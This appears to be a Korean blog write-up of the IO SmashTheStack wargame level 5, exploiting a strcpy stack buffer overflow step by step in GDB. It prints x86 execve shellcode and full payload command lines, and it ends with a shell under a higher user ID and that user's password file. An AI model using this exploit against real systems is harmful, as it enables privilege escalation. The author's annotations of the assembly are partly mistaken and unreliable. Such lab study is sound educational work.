이번 문제는 버퍼 오버플로우 문제이다.
level5@io:/levels$ cd /levels
level5@io:/levels$ ./level05
level5@io:/levels$ cat level05.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[128]; // 128 바이트 변수 선언
if(argc < 2) return 1; // argc(인자의 개수)가 2 보다 적으면 프로그램 종료
strcpy(buf, argv[1]); // argv[1] 을 buf 로 복사 - 버퍼 오버플로우 취약점
printf("%s\n", buf); // argv[1] 이 복사된 buf 내용 출력
return 0;
}
STRCPY 함수에서 문자열 복사할때 제한값을 검사하지 않아 버퍼 오버플로우 취약점이 생긴다.
그러면 GDB 로 분석을 해보자.
level5@io:/levels$ gdb -q level05
(gdb) disas main
Dump of assembler code for function main:
0x080483b4 <main+0>: push %ebp
0x080483b5 <main+1>: mov %esp,%ebp
0x080483b7 <main+3>: sub $0xa8,%esp // 프롤로그 - 168 바이트 공간 생성
0x080483bd <main+9>: and $0xfffffff0,%esp
0x080483c0 <main+12>: mov $0x0,%eax
0x080483c5 <main+17>: sub %eax,%esp // 별 의미없는 명령 - EAX, ESP 초기화
0x080483c7 <main+19>: cmpl $0x1,0x8(%ebp) // (EBP+8) 과 1 비교 - EBP+8 =>argc 와 1 비교
0x080483cb <main+23>: jg 0x80483d9 <main+37> // 참이면 0x80483d9 이 곳으로 점프
0x080483cd <main+25>: movl $0x1,-0x8c(%ebp) // 거짓일경우 (EBP-140) 에 1 복사
0x080483d7 <main+35>: jmp 0x8048413 <main+95> // 0x8048413 이 곳으로 점프
0x080483d9 <main+37>: mov 0xc(%ebp),%eax // EAX 에 (EBP+12) 복사 - EBP+12 => argv[1] 을 EAX 에 복사
0x080483dc <main+40>: add $0x4,%eax // EAX 에 4 더하기
0x080483df <main+43>: mov (%eax),%eax // EAX 와 EAX 를 같게한다.
0x080483e1 <main+45>: mov %eax,0x4(%esp) // (ESP+4) 에 EAX 복사 - ESP+4 => RET 에 EAX 복사
0x080483e5 <main+49>: lea -0x88(%ebp),%eax // EAX 에 (EBP-136) 주소 값 복사
0x080483eb <main+55>: mov %eax,(%esp) // ESP 에 EAX 복사 - ESP 에 (EBP-136) 주소값 복사
0x080483ee <main+58>: call 0x80482d4 <strcpy@plt> strcpy 함수 호출
0x080483f3 <main+63>: lea -0x88(%ebp),%eax // EAX 에 (EBP-136) 주소 값 복사
0x080483f9 <main+69>: mov %eax,0x4(%esp) // (ESP+4) 에 EAX 복사 - (ESP+4) => RET 에 (EBP-136) 주소 값 복사
0x080483fd <main+73>: movl $0x8048524,(%esp) // ESP 에 0x8048524 복사 - 0x8048524: "%s\n"
0x08048404 <main+80>: call 0x80482b4 <printf@plt> // printf 함수 호출
0x08048409 <main+85>: movl $0x0,-0x8c(%ebp) // (EBP-140) 에 0 복사
0x08048413 <main+95>: mov -0x8c(%ebp),%eax // EAX 에 (EBP-140) 복사
0x08048419 <main+101>: leave
0x0804841a <main+102>: ret // 에필로그 작업
End of assembler dump.
어려워서 100% 분석이 되지 않았다ㅠ;
이제 Return Address 부분을 찾아서 페이로드를 구성해야한다.
(EBP-136), (EBP-140) 이 부분이 의심스러워 136, 140 을 먼저 공략해보았다.
(gdb) r `python -c 'print "\x90"*136'`
Starting program: /levels/level05 `python -c 'print "\x90"*136'`
Program exited normally.
(gdb) r `python -c 'print "\x90"*140'`
Starting program: /levels/level05 `python -c 'print "\x90"*140'`
Program received signal SIGSEGV, Segmentation fault.
0x00416306 in _setjmp () from /lib/libc.so.6
NOP 를 140 바이트 넘겨줬을때 세그먼 폴트가 떴다.
그렇다면 우리가 구성해야할 페이로드는 : BUF[136] + SFP[140] + RET[144] 이다.
NOP 를 140 개 넘겨줘서 RET 를 주소를 덮어씌우면 된다. NOP[50] + SHELL CODE[4] + NOP[86] 이렇게 공격해주면 된다.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31
\xd2\xb0\x0b\xcd\x80 => 사용할 쉘코드
(gdb) r `python -c 'print "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89
\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*86 + "AAAA"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /levels/level05 `python -c 'print "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\
xd2\xb0\x0b\xcd\x80" + "\x90"*86 + "AAAA"'`
1ÀPh//shh/bin‰ãPS‰á1Ò°
Í€AAAA
Program received signal SIGSEGV, Segmentation fault.
0x90909090 in ?? ()
이제 RET 부분을 찾아야한다. RET 에는 앞에 NOP 를 넘겨준 부분의 주소를 넣어줄것이다.
(gdb) x/50x $esp
0xbfffdc70: 0x90909090 0x90909090 0x90909090 0x90909090 <= 이 부분을 RET 로 넘겨줘보자
0xbfffdc80: 0x41414190 0x00000041 0x00000000 0x0804820b
0xbfffdc90: 0x00b79ff4 0x08048470 0x080482f0 0xbfffdcc8
0xbfffdca0: 0xebb8e081 0x5ec835ff 0x00000000 0x00000000
0xbfffdcb0: 0x00000000 0x00de4200 0x00a5637d 0x00debff4
0xbfffdcc0: 0x00000002 0x080482f0 0x00000000 0x08048311
0xbfffdcd0: 0x080483b4 0x00000002 0xbfffdcf4 0x08048470
0xbfffdce0: 0x08048420 0x00ddf270 0xbfffdcec 0x00de9a05
0xbfffdcf0: 0x00000002 0xbfffddf0 0xbfffde00 0x00000000
0xbfffdd00: 0xbfffdea6 0xbfffdeb6 0xbfffdec1 0xbfffdee1
0xbfffdd10: 0xbfffdef5 0xbfffdf01 0xbfffdf20 0xbfffdf2b
0xbfffdd20: 0xbfffdf58 0xbfffdf6e 0xbfffdf7d 0xbfffdf89
0xbfffdd30: 0xbfffdf92 0xbfffdfa4
(gdb)
0xbfffdd38: 0xbfffdfac 0xbfffdfbb 0x00000000 0x00000010
0xbfffdd48: 0xbfebfbff 0x00000006 0x00001000 0x00000011
0xbfffdd58: 0x00000064 0x00000003 0x08048034 0x00000004
0xbfffdd68: 0x00000020 0x00000005 0x00000007 0x00000007
0xbfffdd78: 0x00dd1000 0x00000008 0x00000000 0x00000009
0xbfffdd88: 0x080482f0 0x0000000b 0x000003ed 0x0000000c
0xbfffdd98: 0x000003ed 0x0000000d 0x000003ed 0x0000000e
0xbfffdda8: 0x000003ed 0x00000017 0x00000000 0x00000019
0xbfffddb8: 0xbfffdddb 0x0000000f 0xbfffddeb 0x00000000
0xbfffddc8: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffddd8: 0x25000000 0xb78c20e6 0x948d200c 0xb1407512
0xbfffdde8: 0x69766f00 0x00363836 0x76656c2f 0x2f736c65
0xbfffddf8: 0x6576656c 0x0035306c
(gdb)
0xbfffde00: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde10: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde20: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde30: 0xc0319090 0x2f2f6850 0x2f686873 0x896e6962
0xbfffde40: 0x895350e3 0xb0d231e1 0x9080cd0b 0x90909090
0xbfffde50: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde60: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde70: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde80: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffde90: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffdea0: 0x41414190 0x48530041 0x3d4c4c45 0x6e69622f
0xbfffdeb0: 0x7361622f 0x45540068 0x783d4d52 0x6d726574
0xbfffdec0: 0x48535300 0x494c435f
level5@io:/levels$ ./level05 `python -c 'print "\x90"*50 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89
\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*86 + "\x70\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á1Ò°
Í€püÿ¿
Segmentation fault
엇? 원래 성공해야되는데 권한이 뜨지를 않았다. 분명 잘못본건 없었는것 같았는데...
그래서 주소를 여러번 바꿔주면서 하다가 이상한 주소에서 문제가 풀어졌다.
level5@io:/levels$ ./level05 `python -c 'print "\x90"*15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*96 + "\x10\xdd\xff\xbf"'` aa aa
1ÀPh//shh/bin‰ãPS‰á1Ò°
Í€Ýÿ¿
sh-3.2$ id
uid=1005(level5) gid=1005(level5) euid=1006(level6) groups=1005(level5),1029(nosu)
sh-3.2$ cat /home/level6/.pass
MJQsFVD8k46V
얼떨결에 문제가 풀어졌지만 시간날때 다시 분석해서 꼭 원인을 찾아봐야겠다.
'스터디 > wargames' 카테고리의 다른 글
[USE-Wargames] IO SmashTheStack Level2 문제풀이 (0) | 2011.08.12 |
---|---|
[USE-Wargames] IO SmashTheStack Level1 문제풀이 (1) | 2011.08.11 |
SmashTheStack : level4@io.smashthestack 문제풀이 (0) | 2011.07.29 |
SmashTheStack : level3@io.smashthestack 문제풀이 (0) | 2011.07.21 |
SmashTheStack : level2@io.smashthestack 문제풀이 (0) | 2011.07.20 |